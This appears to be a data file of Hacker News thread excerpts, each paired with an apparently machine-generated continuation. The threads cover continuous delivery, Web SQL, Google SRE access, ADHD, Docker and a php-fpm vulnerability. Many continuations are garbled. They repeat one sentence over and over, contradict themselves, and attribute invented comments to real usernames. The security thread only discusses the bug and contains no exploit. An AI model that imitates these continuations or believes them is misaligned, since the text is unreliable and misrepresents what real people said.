continuous delivery is that it allows you to\nfocus on the business side of things, and not worry about the technical side.\n\nI've seen a lot of places where the technical side of things is the most\nimportant thing, and the business side is just a side effect.\n\n~~~\nhenrikwarne\nI agree. I think the biggest benefit of continuous delivery is that it allows\n", "input_text": "https://henrikwarne.com/2017/11/19/benefits-of-continuous-delivery/\n======\ncoldcode\nI find continuous delivery to the mobile app stores to be rather silly and\nwasteful, updating your app every two weeks for example consumes vast\nbandwidth especially for people with automatic updates on. The benefits of\nchanging apps on such a quick basis makes it unlikely customers will even\nnotice changes or be able to adapt to what's new or different. Being able to\ndelivery quickly is not the same as having it be automatically useful, just as\nbeing able to easily add some new functionality is not the same as having that\nbe useful or desirable to the end user.\n\n~~~\nchaosphere2112\nOn the bandwidth end, both Android and iOS do use incremental updates ([1],\n[2]); if the changes are something that you would be releasing eventually\nanyway, you're not wasting any bandwidth, and are instead loadbalancing it\nover multiple payment periods.\n\n[1]: [http://www.androidpolice.com/2016/07/23/new-play-store-\ntools...](http://www.androidpolice.com/2016/07/23/new-play-store-tools-help-\ndevelopers-to-shrink-the-size-of-app-updates/)\n\n[2]:\n[https://developer.apple.com/library/content/qa/qa1779/_index...](https://developer.apple.com/library/content/qa/qa1779/_index.html)\n\n------\nryanbrunner\nI like that this article doesn't focus too much on the technical aspects of\nauto-deploys and CI. I've been in a lot of places where the concepts were\n"} +{"output_text": "_owl\nI have a similar issue with the \"share this\" on Facebook. I have a hard time\nreading stuff that is not in a format that i can easily share.\n\n------\njameshart\nI'm not sure I agree with the premise of the article.\n\nI think the problem is that the web is a medium that is designed to be\nconsumed in a linear fashion. It's not designed to be read in a linear fashion\n- it's designed", "input_text": "ed. My 6yo reads for 30min+. Even my 3yo will happily look through\npicture books for 15-30min.\n\n~~~\nholri\nWell, if you happen to be a music teacher for kids you see the very poor\nconcentration levels of the average kid. You also see the progress of it over\ntime and age. And that nearly every parent is overestimating the skills of\ntheir own kids.\n\n------\ndigi_owl\nI don't have a problem reading when it is properly paginated like a book or\nebook. But when i read a online article it becomes something else because it\nis just a very long scroll of text. Perhaps the one thing the web really need\nis a pagination API...\n\n~~~\nwoah\nI prefer a long scroll of text. Less distraction. Books are paginated\narbitrarily, and it's quite a large aspect of the experience to be left up to\nrandom chance.\n\n~~~\n_asummers\nI agree. Having a scrollbar as a percentage completion indicator is a very\nnice thing. I can also highlight the text on the page where I was at in the\nlikely event I get distracted and have to move on to something else. At this\npoint, I do this out of habit on any article longer than a few paragraphs.\n\nSide note, if your site pops up a stupid SHARE THIS ON FACEBOOK AND TWITTER\nwhen someone highlights text, I most likely won't read your articles. I didn't\nread this one because Medium does this; SBNation articles do this, too and my\nbrowser now loads custom Javascript on their pages to remove it. It's\ndistracting and serves no real purpose, except to take me out of my flow of\nreading.\n\n~~~\ndigi"} +{"output_text": " in the default nginx configuration. It's a good idea to disable\nit if you're running PHP on a shared server.\n\n~~~\njlgaddis\nI'm not sure if this is the same thing, but I've seen a few instances where\nthe try_files directive was used to redirect requests to a different location\nthan the one specified in the root directive.\n\n~~~\nkijin\nI think that's what it does.\n\n------\nj", "input_text": " big deal.\n\n~~~\nmeowface\nThere's also the small issue that every minute that passes is another\npotential minute an attacker is stealing sensitive data, PII, and email/IM\nlogs from your company's internal network, and backdooring other servers,\ninstalling ransomware, etc. That requires far more than a wipe and restore to\ndeal with, and could potentially result in a massive financial and\nreputational loss.\n\n~~~\narpa\nThat seems far fetched in most saneish setups of PHP. The only risk, really,\nis the apps' own data. Which is also where microservices shine - chaining\nattacks like this is exponentially more difficult then. Unless, of course,\nyour app is a monolith, isn't sandboxed and segregated from the rest of\ninternal network (i.e. on the same server), and the rest of the network is\nvery, very vulnerable so the attacker can chain these exploits just right. The\npossibility is not that high if you're not a high profile target and if you're\na high profile target, well, you should know better than to keep all of your\neggs in the same basket. And if it's a shared vps where such things can\nactually happen, the hosting provider should take care if it.\n\n~~~\nmeowface\nI think you very greatly overestimate the typical level of isolation and\n\"sanity\" of most setups in general, let alone most PHP setups (which are\nlikely generally much worse than most other setups).\n\n~~~\narpa\nHave more faith in fellow man, brother!\n\n------\nkijin\nUbuntu has a try_files directive in /etc/nginx/snippets/fastcgi-php.conf that\nis included"} +{"output_text": "'s not going to be\nsupported in the future.\n\n~~~\nmwexler\nI agree, and I think that's a good thing. I think the Web SQL API is a good\nthing, and I think it's a good thing that it's not going to be supported in\nthe future. I think it's a good thing that it's not going to be supported in\nthe future because it's a standard that's been around for a while, and it's", "input_text": "liked the\nexperience (messy code/overhead) and haven't had any desire to write another\nwith a client side DB again. The bright side for is however it drove me to\nlearn iOS and Android development... not such a great day for the web though\nas I suspect my experience isn't unique.\n\n------\nmwexler\nAs always, there are some problems IndexedDB document stores solve well, and\nothers that SQL is really well suited for, and I think it's great to have both\noptions. What sucks is when people say \"Sure, we'll support that there is more\nthan one way to do this (TMTOWTDI), as long as you recognize that my way is\nthe right way in almost all foreseeable cases, so we'll build the tool this\nway\". That statement is rarely correct, especially when making a browser\ncapability. (Yes, I know, trying to disprove a generalization with a\ngeneralization isn't very persuasive. Oh well.)\n\nI read all the concerns (it's a standard built around sqllite, and who wants\nthat?!?!, etc.) and I still sigh a sigh of disappointment that it's come to\nthis. I know, Web SQL isn't going away, as the author points out, but it will\nbe a 2nd class citizen for the foreseeable future, and that's just a missed\nopportunity, imho.\n\n~~~\nyogo\nExactly they both have scenarios that they work very well for just like you\nhave with the server-side SQL RDBMS and the NoSQL ones. IndexedDB is fine for\nsimpler apps or apps where there isn't a real need for joining, grouping and\nordering the records in a very flexible way.\n\nWeb SQL is definitely dead in native Chrome apps. It"} +{"output_text": " a database\nof words and their definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and their definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and their definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and their definitions.\n\n\\- A web based crossword app, content automatically generated from a database\nof words and their definitions", "input_text": " and building another (python) web\nframework then that's fine too. One difference is that many of the above side\nprojects are new and do things that we didn't have prior to someone building\nthem, meanwhile yet another web framework a la bottle et al is really\ncontributing very little new.\n\n~~~\nfreework\nIts not about size, its about length of development. Great software takes more\nthan a few days to create. I think the most direct indicator of software\nquality is number of commits. A project with 10 commits is probably full of\nbugs. A project with 400 commits has probably had enough chance to adapt\nreally well to whatever problem it is supposed to be solving. Its not a direct\ncorrelation, but its usually true.\n\nI've had co-workers who had 50 github repos all filled with 30 line \"projects\"\nwith 5 commits each. Those types of projects don't make you a better\nprogrammer. Work on the same project all year. That will make you a better\nprogrammer. Craft the project. Let it adapt. Test it, deploy it. Tweak it.\nDeploy it again. Seek feedback from users. Tweak it some more. Going through\nthat process _will_ make you a better programmer.\n\n~~~\nluckysh0t\nSounds more like the day job than a side project.\n\n------\nreidrac\nThat's a good list!\n\nWhen I start a side project I tend to forget that after it's \"done\" I have to\nmaintain it. In fact I've been delaying the inevitable and I should kill a\ncouple of them ASAP (hey, that's a good new year's resolution!).\n\nMy 2012 list is quite short:\n\n\\- A web based crossword app, content automatically generated from"} +{"output_text": " a good one. I think it's a good idea to\nstart with a small dataset and then try to improve it.\n\n> I don't mind failing while doing something even if I don't know much about\n> it.\n\nI don't think you should be afraid of failing. I think you should be afraid of\nnot trying.\n\n> I'm likely to learn them by discovering and reading new things, than spending\n> straight 1 years learning all from a book", "input_text": " only to find you are likely to forget it 2\nyears down the lane anyway, is a wrong way to be spending your time.\n\nAs a programmer what excites me most is a new challenge I've never faced\nbefore, And the journey of hard work, discovery, failure and success that\nfollow from such a attempt. I don't mind failing while doing something even if\nI don't know much about it. I'm likely to learn them by discovering and\nreading new things, than spending straight 1 years learning all from a book\nwithout knowing where they will be ever used up.\n\nThe only thing that excites me besides money is the joy of discovering new\nthings, and realizing that I might have solved a real world problem that might\nbe helping someone. Trivia stuff doesn't excite me anymore, I don't see what\nand how have I changed things around me by merely just knowing more.\n\nLife is really short, I know I have little time to make all the money I want\nso that I can see the other parts of life. I know coding and math are\nexciting, but they are among the many things that are exciting in life. Think\nof it this way, you might have a favorite Ice cream flavor, but unless you\ntaste other flavors how would you ever know if others are better? Or after\ntrying the other flavors you might just discover you have a new favorite\nflavor!\n\n~~~\nirahul\n> But isn't this getting overboard?\n\nNaive bayes, with a relevant dataset, does a very fine job of data\nclassification(sentiment analysis, spam detection...). Also, almost everyone\nwho isn't a liberal arts major would have come across Bayes theorem in high\nschool or college.\n\nThe question about A/B testing is"} +{"output_text": "\n\n~~~\ntptacek\nGoogle's SREs are not \"highly experienced engineers\". They are \"highly\nexperienced engineers who can be trusted\".\n\n~~~\njacquesm\nI'm not sure I follow you.\n\nGoogle's SREs are not 'highly experienced engineers'.\n\nGoogle's SREs are 'highly experienced engineers who can be trusted'.\n\nGoogle's SREs are 'highly experienced engineers who can be", "input_text": "RE\" isn't a very strong answer here?\n\n~~~\nbtilly\nI think you don't know what you are talking about here.\n\nIt is like someone seeing an ad for entrepreneurs that says, \"Willing to work.\nWilling to take risks. Strong computer skills a significant plus\".\" And then\nconcluding that the bar to being a successful entrepreneur is very low so they\nshould be dismissed as a group.\n\nBecoming an SRE is much, much harder than just having the credentials you\nlisted. Being an SRE generally does not give you full access to everything at\nGoogle. I never met this one, so I don't know what his role was or why he was\ngiven that level of access. But that access really isn't something that just\ngets handed out to people off the street.\n\nThe fact that you found that ad, and that Google screwed up this particular\ncase, doesn't say that Google doesn't limit who gets access to sensitive data.\n\n~~~\ntptacek\nI think you're extrapolating too much out of my comments. I'm saying that \"SRE\nis an important job\" doesn't answer the concern. I'm not surprised that Google\nhas controls beyond \"you're an SRE, you can do whatever you want\" --- in fact,\nI'd be shocked if they didn't. But it sure sounds that way from the story that\njust broke yesterday.\n\n------\njacquesm\nAt first glance, google comes off pretty good on how they dealt with this, but\nyou have to wonder how come a single engineer has access to google voice _and_\ngoogle mail and IM data of end users. SRE's as these employees are labeled\n(site reliability engineers) are 'highly experienced engineers who can be\ntrusted'."} +{"output_text": " university, and that the bubble is so large that\nit's impossible to get a representative sample of the population.\n\nI think this is a very interesting point, and I think it's a good one to\nconsider when you're trying to understand the motivations of people who voted\nfor Brexit.\n\n~~~\nmattmanser\nI think it's a very interesting point, but I don't think it's a good one to\nconsider when you're trying to understand the motivations", "input_text": " young. Extrapolate that out to a decade, two decades, or an\nentire career and I bet we would both be singing a different tune.\n\n~~~\nnoir_lord\nOh I'm sure, some of those jobs would break you if you did them for a decade\nor two, it's why I got into programming after training as an industrial\nelectrician, I looked at the guys I was working with who where 20-30 years\nolder than me (40-50) and they where messed up so I took a different path.\n\nAgain though I don't regret it, the training was useful and it taught me life\nskills that are applicable to software engineering (though the stakes are a\nlittle lower when not working with 11kV systems).\n\n~~~\nfzzzy\nSerious question, you don't think programming is going to break you after a\ndecade or two?\n\n~~~\nnoir_lord\nI've been doing it full time since my mid-20's and I'm 39..so no?\n\n------\nfrereubu\nAs David Runciman has pointed out in his book How Democracy Ends and on the\nTalking Politics podcast -\n[https://www.talkingpoliticspodcast.com/blog/2017/71-how-\ndemo...](https://www.talkingpoliticspodcast.com/blog/2017/71-how-democracy-\nends) \\- if you could only ask one question of someone you'd never met before,\nwhich would give you the best possibility of guessing whether they'd voted for\nBrexit, it would be whether they went to university (Remain) or not (Leave).\nHe argues that, in the UK at least, there's a bubble of professional\npoliticians who all went to"} +{"output_text": " don't like\nthe new tab page, but I can live with it. I don't like the new tab page\nbecause it is a bit too busy. I don't like the new tab page because it is\nslow. I don't like the new tab page because it is not responsive. I don't like\nthe new tab page because it is not consistent. I don't like the new tab page\nbecause it is not consistent with the rest of the UI. I don't", "input_text": " must be signed by Mozilla to be installed with no ability to\noverride, they turned HTTP/2 into an agenda by making TLS mandatory in spite\nof the IETF's decision on that. They continue to blow off per-tab process\nsupport, and 64-bit Windows builds are _still_ not mainstream. And that's off\nthe top of my head, I'm sure there's more. Eich doesn't even have to factor\ninto this, no matter which side of that you're on.\n\nYou can like or hate any one of those, and yes if you want 20 extensions you\ncan mostly make it look and act like it used to. (Plus, they talk about\nremoving all that stuff to simplify and unbloat the UI, and then they add\nuseless crap like Firefox Hello in its place.) But each time they changed\nthings and completely ignored their user's feedback, they lost a few more\nusers to Chrome. I don't really like Chrome all that much either, but at least\nit's not a constantly changing target, where you never know what feature\nyou're going to lose because of an auto-update.\n\nFirefox's decline wasn't any one great catastrophe: it's been death by a\nthousand papercuts.\n\nIt's really simple: if you offer a feature at one point, and you want to keep\nyour users happy, then you don't completely remove that feature from them in\nthe future. You can default to something else, fine, but you make an effort\nfor people who liked the old way. Microsoft understood this up until Windows\n8. And it looks like they're relearning that lesson again a bit with Windows\n10's changes.\n\n~~~\nIgorPartola\nFunny, the list you provide are all the changes I really like. I"} +{"output_text": "'s interesting. I wonder if it's because of the increased value of the\nonline version, or if it's because of the increased value of the print\nversion.\n\nI'm not sure how you're measuring the value of the online version, but I\nwouldn't be surprised if the value of the online version was greater than the\nvalue of the print version.\n\n~~~\nTylerE\nI'm not sure how you're measuring the value of the online version,", "input_text": "2012/03/newspaper-sales-\nslid-t...](http://newsosaur.blogspot.com/2012/03/newspaper-sales-slid-\nto-1984-level-in.html)\n\n~~~\nghshephard\nThe graph is apparently not inflation adjusted - so it de-emphasizes the drop\nin print advertising as compared to 1984- that is, on the graph, a dollar spen\nin 1984 is equal to a dollar spent in 2012. As a side note - anybody who ever\nplots $ over time, please add a small caption that either says \"inflation\nadjusted\" or \"not inflation adjusted\" - the educated reader will appreciate\nthat greatly.\n\n------\nnkassis\nHas anyone looked at the impact of paywalls on revenues? Has it led to an\nincrease in online revenues for those who attempted it?\n\nThe problem with the metric used in the article is that it doesn't say much.\nWas it less online revenues that cause the ratio to drop? Was it an\nacceleration of people unsubscribing from the paper version? Are print ads now\nworth less than they used too by impressions?\n\n~~~\nTylerE\nDon't know how much I an really disclose, but, for us (small-ish daily, ~20k\ncirc), once we went to a (partial) paywall, circulation defiantly went up. Our\nmodel is that you must be a subscriber to get through the paywall, all print\nsubscribers get online as well - you can get online e-edition/pdf access\nwithout home delivery, but it costs the same.\n\nOur circulation is higher than it was two years ago. Not sure many papers can\nsay that.\n\n~~~\nghshephard\nThat"} +{"output_text": " a link to the opinion itself.\n\n~~~\ndogma1138\nI'm not sure why you're being downvoted, the link is to the actual opinion\nwhich is a summary of the opinion.\n\n~~~\ndeclan\nI'm not being downvoted. I'm just saying that the HN guidelines say to link to\nthe original source, not to a summary.\n\n~~~\ndogma1138\nThe guidelines say to link to the original source,", "input_text": " site simulators\" Somehow I don't think they'd call it that if I\n\"simulated a law enforcement officer\", presented a \"simulated identification\ndocument\", or enticed someone to pay me for a \"simulated service\", opening\nmail addressed to my \"simulated persona\" but not to me, etc. These devices are\nfraudulently impersonating users' cell service carriers. They are fake cell\ntowers.\n\n~~~\nthaumasiotes\nThey likely operate with permission from the cell service carriers, which\nwould make a big difference legally.\n\n~~~\nTazeTSchnitzel\nDo they? Why would the Govt. tell the carriers about it?\n\n~~~\ntoomuchtodo\nBecause without carrier permission, they're violating Federal laws\nadministered by the FCC.\n\n~~~\nscintill76\nWithout carrier permission, they might be violating some type of interference\nregulations, but I would also think the fake cell device itself and maybe its\noperator would need FCC licenses regardless of carrier permission. As an Ars\nTechnica post I linked in another comment shows, the cell sites are probably\nbeing used outside of the constraints of their FCC licenses.\n\n------\ndogma1138\nThis is the actual link [http://law.justia.com/cases/federal/district-\ncourts/illinois...](http://law.justia.com/cases/federal/district-\ncourts/illinois/ilndce/3:2015mc00021/317964/1/)\n\n~~~\ndeclan\nWell, yes, but HN often links to blog posts and news articles about a court\nopinion rather than the opinion itself.\n\nA summary (that links to the opinion) tends to be more useful to non-\nspecialists than"} +{"output_text": "\nI'm not sure what you mean by \"overworked the the comment it was a bit off.\"\n\n~~~\ncf498\nI meant that I didn't think it was a good idea to mix up people who designed\nmines for Vietnam with people fighting WWII on the front, or in the lab.\n\n------\nmatt_the_bass\nI\u2019m not sure I agree with the author\u2019s conclusion. I think the US military\nshould be more", "input_text": " and after\nVietnam, just sought to make a constant stream of wars and armed conflicts\nmore palatable to the public.\n\nThe problem is the sheer amount of war, constant war, completely unjustified\nwar. Vietnam is a great example (credit to darkpuma for knowing their stuff)\nof just such a waste, which makes the lengthy fallout all the more\nunforgivable. WWII by contrast, a subject I didn\u2019t raise incidentally and so\nhad no Godwin moment (I responded to a post explicitly mentioning the\nManhattan project), was nothing chosen by anyone other than the Axis.\nDeveloping and deploying nuclear weapons existed in the context of a fight for\nsurvival, against powers that systematically murdered millions of non-\ncombatants. Japan, putting aside Pearl Harbor, was monstrous in China, Korea,\nand the Philippines. They dropped plague fleas on Manchuria, slaughtered a\nsmall tortured prisoners, and Germany... well, we all know about that.\n\nThere was no reason to believe that victory over them was certain, or even\nlikely until the war had rages for years. There was every reason to believe\nthat life under the Nazis would be hell, and fatal for swathes of humanity.\nThe Japanese were not particular better, and China and Korea still bear the\nscars.\n\nAll of which is to say, I objected to mixing up people who designed mines for\nVietnam, with people fighting WWII on the front, or in the lab.\n\n~~~\ncf498\n>a subject I didn\u2019t raise incidentally and so had no Godwin moment (I\nresponded to a post explicitly mentioning the Manhattan project)\n\nOverworked the the comment it was a bit off.\n\n~~~\ntoufiqbarhamov"} +{"output_text": " I had to change my mindset.\n\nI started to think of my work as a game. I started to think of my work as a\ngame where I was the player and my goal was to get the highest score.\n\nI started to think of my work as a game where I was the player and my goal was\nto get the highest score.\n\nI started to think of my work as a game where I was the player and my goal was\nto get the highest", "input_text": "comments responding to it), as opposed to, you know, just not wanting to\nprogram all day.\n\n------\nstared\n\"Smart Guy Productivity Pitfalls\"\n([http://bookofhook.blogspot.com/2013/03/smart-guy-\nproductivit...](http://bookofhook.blogspot.com/2013/03/smart-guy-productivity-\npitfalls.html)) were useful to me and techniques related to \"no zero days\" and\njust getting started (with a single sentence, slide, line of code) are\nvirtually the only things that consistently work for me. These techniques are\nnicely summarized in \"Micro-Progress and the Magic of Just Getting Started\"\n[https://mobile.nytimes.com/2018/01/22/smarter-\nliving/micro-p...](https://mobile.nytimes.com/2018/01/22/smarter-living/micro-\nprogress.html).\n\nAnything causing _guilt_ turned out to be counterproductive, vide my answer to\n\"How to stop feeling guilty about unfinished work?\":\n[https://academia.stackexchange.com/questions/17988/how-to-\nst...](https://academia.stackexchange.com/questions/17988/how-to-stop-feeling-\nguilty-about-unfinished-work/18009#18009).\n\n~~~\nswah\nI love that first blog post: \"Productivity Deficit: Your Attitude Writing\nChecks Your Work Ethic Can't Cash\"\n\nWish that guy continued writing...\n\n------\nbkanber\nI used to be lazy. For me there was no tactic that solved the problem, but\ninstead"} +{"output_text": " with the Upskill team? I'm curious about the\nengineering culture and how they work.\n\n~~~\ne12e\nI've worked with the team, and I can say that they're a great bunch of\npeople. I've also worked with a few other teams that were acquired by Upskill,\nand I can say that the culture is pretty similar across the board.\n\nI've also worked with a few other teams that were acquired by Google, and I", "input_text": "fee\nI was an early member of Pristine (the Google Glass company that Upskill\nrecently acquired) where I began as a developer, and then landed our first\npaid deal at the end of 2014.\n\nWe used to buy the glasses for $1500 a piece and had a probably 50 pairs of\nthem lying around by early 2015.\n\nThe engineering team was great - while I was there it felt like we were flying\nblind wrt Google\u2019s official support. From a business perspective, I\u2019m not sure\nproduct market fit was really ever achieved, though after I left the company\nexpanded its horizons beyond healthcare / telemedicine.\n\nGood luck to Upskill :)\n\n------\n0xfab1\nThat makes me want a pair that's installed with an app that shows relevant\nstackoverflow answers as I code.\n\n~~~\ne12e\nBut why would you want to wear something like this, for that? I can see how an\neditor/IDE plugin might be useful (a la racer for rust etc) - that would\nupdate a section of the screen with tips - but I don't think I'd like to have\nthis on a completely different device.\n\nNow, with a full vr headset, it might make sense to be able to place such\nthings outside of the normal field of vision (where your text/code editing\nresides) - but so far I don' think working full time in VR with text is a\ngreat idea, with the current generation of headsets.\n\n~~~\nsigstoat\n> But why would you want to wear something like this, for that?\n\ncan't have other folks knowing you're looking things up on SO. it'd ruin your\nmystique.\n\n------\nmorley\nHas anyone here worked"} +{"output_text": " you're\ndoing. Maybe you're not doing what you want to do. Maybe you're doing what you\nwant to do but you're not doing it well. Maybe you're doing what you want to\ndo but you're not doing it at all.\n\nThird, if you're not doing what you want to do, maybe you're not doing what\nyou want to do well. Maybe you're doing what you want to do badly.\n\nFourth, if you're not", "input_text": ". That way I can do a boring thing for a week, then\ndo something interesting, and then back to the boring. If there's no\ninteresting paid projects, I just work on things I can find enjoyment in -\nlearning new things, working on things I enjoy and dropping them as soon as\nthe \"fun\" goes away.\n\nFor personal projects I avoid breaking them down into smaller steps. With\nsmaller steps I can see the mountain of work ahead of me (most of which isn't\nthat fun) and the motivation to work on it goes away, even if there's still\nplenty of enjoyment to be derived for said project. That's also one of the\nreasons why I rarely release anything personal I work on - the fact that once\nits out there and I would need to maintain it, kills the fun.\n\nI also try to limit my working hours to a certain range; the only reason why\nto work outside of those hours is if I've been slacking off previously and\nneed to catch up to hit a deadline or if the project is so much fun it's\nalready as relaxing as anything else I could be doing to wind down after work.\n\nGetting 8 hours of sleep is also very important for me. Any less for an\nextended period and I'm beginning to inch towards a depressed state of mind.\nAny more than 8 hours and my procrastination goes up.\n\nBut yeah, finding out what works for you is always difficult, and I think it\nalso changes with time.\n\n------\nxwvvvvwx\nFirstly if you think you may have ADHD go and see a doctor for a diagnosis.\nIt's a very common condition and there are a set of well understood and\neffective treatments.\n\nSecond, if you struggle to motivate yourself, maybe reassess what"} +{"output_text": " `down` arrow to go forward in your history\n\n3) Use `n` to go to the next result\n\n4) Use `p` to go to the previous result\n\n~~~\njeorgun\nI've been using this for years, but I've never seen it mentioned anywhere.\n\nI'm not sure if it's a zsh thing or a bash thing, but it's a really useful\nfeature.\n\n~~~\nhartator\nIt's a", "input_text": " ssh command that I use to connect to a server and set up some\ntunnels and I always enter it by doing Control-R and looking for part of the\nserver's name. If it ever falls of the end of my history I'm in trouble.\n\n~~~\naroch\nControl-R with fuzzy searching never seemed to work as well as I wanted to.\n\nAlso, you should setup some aliases :)\n\n~~~\nnanofortnight\nOr ssh host shortnames! [http://davidwinter.me/articles/2010/08/22/setting-up-\nssh-hos...](http://davidwinter.me/articles/2010/08/22/setting-up-ssh-host-\nshortnames/)\n\n------\nahnick\nI prefer using vi bindings (from bash type \"set -o vi\" to enable) to the ^R\nmethod. If you know vi/vim then the results you get are very intuitive.\n\nHit Esc to enter vi mode and then hit \"/\". Type your search and hit enter. If\nthe first result that comes up isn't what you are looking for then hit \"n\" for\nthe next result. To go backwards do Shift + \"n\".\n\n~~~\njeorgun\nSo _that's_ what it is! I was just getting increasingly frustrated, wondering\nwhy \"?\" wasn't working.\n\nI guess staying intuitive is a difficult game to play, when your premise (the\ndefault / most useful searching order) is inherently different from the norm.\n\n------\nhartator\nIn zsh and some bash, you can access command history in a way simpler way:\n\n1) Start typing a command `ssh`\n\n2) Use `up` arrow to go backward in your history\n\n2) Use"} +{"output_text": "imgur.com/0yQ1q.png](http://i.imgur.com/0yQ1q.png)\n\n1\\. Use a grid system.\n\n2\\. Use a grid system that is responsive.\n\n3\\. Use a grid system that is semantic.\n\n4\\. Use a grid system that is responsive.\n\n5\\. Use a grid system that is semantic.\n\n6\\. Use a grid system that is responsive.\n\n7", "input_text": "Hi Nailer!\n\nGood call, although I would disagree with the \"objectively better\" :-)\n\nI'd recommend using a semantic layout when you have an \"application website\",\nlike gmail, github or twitter. The layout is strong, and the content needs to\nlay within each layout block. For this specific design problem, I think that\nthe semantic layout is a good design pattern.\n\nBut sometimes the problem is different. Sometimes you have a more \"editorial\"\napproach, where you need some specific layout (this is a good example:\n[http://stackoverflow.com/questions/24060704/achieving-a-\ncomp...](http://stackoverflow.com/questions/24060704/achieving-a-complex-grid-\nin-bootstrap)). Trying to define that grid semantically is nearly impossible!\nAnd the problem get worse when that grid doesn't repeat anymore, and the next\none is slightly different :-(. In this circumstances, I'd suggest using an\nexplicit grid system.\n\nThere's a myth in web development that says: \"If you have a good semantic\nmarkup, you can achieve any design layout with CSS\". This is absolutely false!\nThis kind of myth usually comes from backend developers after seeing\ncsszengarden. Sometimes you need to add some html tags like divs (that are\nharmless, as they don't have any semantic weight). Don't touching the html\nwill mean going under a CSS hell with hacks and cross browser issues.\n\nDoes this sound like bullshit? What are your thoughts?\n\nCheers!\n\n~~~\nnailer\nIt doesn't necessarily have to be semantic, but your visual styling should be\nin your style sheet. I'd do the following to achieve\n[http://i."} +{"output_text": ", she's been able to find a way to\nbalance it out.\n\nI've also been able to find a way to balance it out. I've been able to\nconcentrate on things that interest me, and I've been able to learn new\nthings. I've been able to learn to be a better programmer, and I've been able\nto learn to be a better writer. I've been able to learn to be a better\nphotographer. I've been", "input_text": " technically a disorder until\nit prevents you from living your life.\n\nI was diagnosed with ADHD at about 12years old. I refused treatment all\nthrough high school until I was 30 when I realized I had gotten nowhere in\nlife. I had substance abuse problems and a criminal record.\n\nI'm back in college now. I have hobbies, goals, and no desire to turn back. My\nanxiety is gone as well as the impulse to self medicate. I've gone through\nseveral state mandated drug/alcohol/anger management classes over the years,\nso the cognitive behavior mechanisms were there, but when I finally told a\ndoctor my story, and how I felt, I got treatment and it changed my life.\n\nYou can't diagnose yourself and trying to is unhealthy. It manifests doubt and\ncan make things worse by compounding negative emotion.\n\nIf you're just being lazy, grow up. But if you are unable to will yourself to\ndo/focus on the things you want/need to do, if you feel you are \"suffering,\"\neven a little bit, ask for help.\n\nYou are important. Don't waste time guessing.\n\n------\ndabernathy89\nI've often felt the same way. So much so that I even did some testing a few\nyears back to see if I might have undiagnosed attention deficit issues (turns\nout I don't).\n\nThe worst byproduct of this is that it brings some shame with it. I've never\nhad jobs that demanded all that much of me - I worked some intense hours when\nfreelancing, but for the most part I've had very flexible jobs with good work\nenvironments. My wife works insane hours as a tax accountant, and although it\nmakes her miserable a lot of the time"} +{"output_text": ", this is a very early version of the OS and there are many things\nthat will be improved. But I think the UI is a step in the right direction.\n\n~~~\njosteink\n> \\- Interface inconsistencies: I noticed that a large red X is used for\n> closing a screen (which I like over the sometimes unclear Back button\n> behaviour you get in Android). But at 3:16 in the video the Wallpaper\n> screen has a 'close' button", "input_text": "atched visual styles: when you tap the phone icon, you get a bar of\nthree icons. Two are simple line icons (History and Contacts), the third is a\ndetailed picture of a keyboard to denote keypad. A minor thing and easily\nfixed.\n\n\\- Interface inconsistencies: I noticed that a large red X is used for closing\na screen (which I like over the sometimes unclear Back button behaviour you\nget in Android). But at 3:16 in the video the Wallpaper screen has a 'close'\nbutton (with X) and below that in the tab bar is the larger red X for closing\ntoo. So you have two close functions on the same screen. You see the same\nduplication on the date and Time screen at 3:41. By the way, I think the way\nWindows Phone lets you change date and time is much nicer. It's a similar\nspinner approach to Plasma but less cluttered. Here's a video of it in action:\n[https://youtu.be/kIsWgCX7qtE?t=54s](https://youtu.be/kIsWgCX7qtE?t=54s)\n\nAlso, the commands 'close', 'cancel' and 'delete' all tend to use the same X\nicon in many UIs so if there is no label for X, then it's meaning (and\nbehaviour) should be consistent across the OS.\n\n\\- Weather app: there is a 'hamburger' menu on the left and another slimmer\nhamburger menu on the right. They feel too similar visually. Presumably, the\nright-hand menu is equivalent to the overflow menu you find on Android. But\nare two menus needed here? Could they not all sit in one menu?\n\nObviously"} +{"output_text": " reproducible builds\n\nThis is a great feature, but it's not really a feature of Docker. It's a\nfeature of the build system.\n\n~~~\njgrowl\nI'm not sure what you mean. I'm not talking about the build system, I'm\ntalking about the dockerfile.\n\n~~~\ndavexunit\nThe build system is the tool that builds the image. Docker is a tool that\nmakes it easy to run the image.\n", "input_text": " actual DB process. This makes it easy to play around with your\ndata under different versions of your DB.\n\n------\nZitchDog\nIf you're familiar with Java, think of a docker container like a WAR or EAR,\nexcept it can contain ANY dependency, not just Java code. Database, binaries,\ncache server, you name it. The implementation is vastly different, but the\neffect is a deployment artifact that can be configured at build time, and\neasily deployed to multiple servers.\n\n------\natroyn\nCodeship have a great series on Docker for Continuous delivery on their blog:\n[http://blog.codeship.com/](http://blog.codeship.com/)\n\nThat said I've paged the founders to this thread, they can make the case much\nmore effectively than I can. (disclosure: I don't work for Codeship).\n\n------\njgrowl\nBesides just actually running software, I also find it really neat when\nprojects use docker to build their entire application. It provides an\neffective means of documenting all of your dependencies and making\nreproducible builds.\n\nTake the docker-compose for example. You can just check the code out, run a\nsingle script that builds the project for your environment and everything is\npretty much self contained in the dockerfile\n([https://github.com/docker/compose/blob/master/Dockerfile](https://github.com/docker/compose/blob/master/Dockerfile)).\nYou don't have to clog up your host computer with deps and you get an\nexecutable plopped into an output bin folder.\n\nAdditionally, the steps in the dockerfile get cached so subsequent builds are\nreally fast.\n\n~~~\ndavexunit\n>making"} +{"output_text": " you being fired, then you should probably not do that.\n\n------\njlgaddis\nI'm not sure if this is a \"bug\" or a \"feature\", but I'm going to go with\nfeature.\n\nI've been using nginx for a while now, and I've never had to worry about\nanything like this.\n\nI'm not sure if this is a \"feature\" or a \"bug\", but I'm going to go with\nfeature", "input_text": " at the exploit and the patch... do I read it right: There is a\nbuffer underflow in php-fpm if the environment variables SCRIPT_FILENAME and\nPATH_INFO have a state that violates an assumption. And currently a widespread\nconfiguration of nginx + php-fpm is configured such that the URL can be\nsuffiently mangled such that nginx sets these parameters in a violating\nmanner.\n\nHowever, that means anything utilizing php-fpm in this version remains\nvulnerable, and it's just unknown if or how apache + php-fpm, or other reverse\nproxies for php-fpm are vulnerable - right?\n\nSo while I don't need to panic right now, I'll certainly have to take a look\nat our setups running php-fpm on monday.\n\n~~~\nmantoto\nOn Monday?\n\nAssume your systems are compromised and act accordingly.\n\n~~~\nroot_axis\nSome people choose not to work on weekends. Work/life balance etc.\n\n~~~\nPeterisP\nSure, but the price of not having 